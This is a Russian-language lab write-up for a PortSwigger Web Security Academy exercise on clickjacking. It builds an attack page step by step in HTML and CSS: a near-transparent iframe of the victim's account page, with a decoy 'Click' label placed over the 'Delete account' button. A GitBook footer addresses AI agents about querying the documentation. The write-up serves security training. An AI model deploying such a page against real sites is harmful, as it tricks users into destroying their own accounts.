> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Базовый кликджекинг с CSRF-защитой

### Базовый кликджекинг с защитой CSRF-токеном

В этой лаборатории есть функция соединения, а также кнопка «Удалить аккаунт», защищённая **CRF-токеном**. / Цель состоит в том, чтобы побудить пользователя нажать на элемент с надписью "Click" на приманочном сайте, чтобы удалить его аккаунт.

**Предоставленные учетные данные:**

* wiener : peter

На странице аккаунта мы находим функцию **Удалить учетную запись**.

<figure><img src="/files/01a805b9e147f8607f9b7a0bfaa770a7f33a8196" alt=""><figcaption></figcaption></figure>

Идея состоит в том, чтобы использовать **`<iframe>`** тег, чтобы встроить эту страницу в наш сайт и обманом заставить пользователя щёлкнуть по ней в нужном месте.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Этот шаг позволяет нам отображать целевую страницу на нашем сайте.

<figure><img src="/files/e7cc7a24865968bde2588c2d6465abcb8710fd0a" alt=""><figcaption></figcaption></figure>

Поместите вводящий в заблуждение текст ("Click") точно над *Удалить учетную запись* кнопкой:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Нажми</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/32d7e39088fb25792f392da96270b578b0aa745d" alt=""><figcaption></figcaption></figure>

Чтобы жертва не видела настоящий интерфейс,  **прозрачность** рамки уменьшается:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Нажми</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Если нижняя часть страницы не отображается, вероятно, это связано с отсутствием `frameborder="0"` параметра или с политикой безопасности сайта. / Внешний вид можно настроить следующим образом:

<figure><img src="/files/a75b40beb00815a88030bab49784a6afa4406bb7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
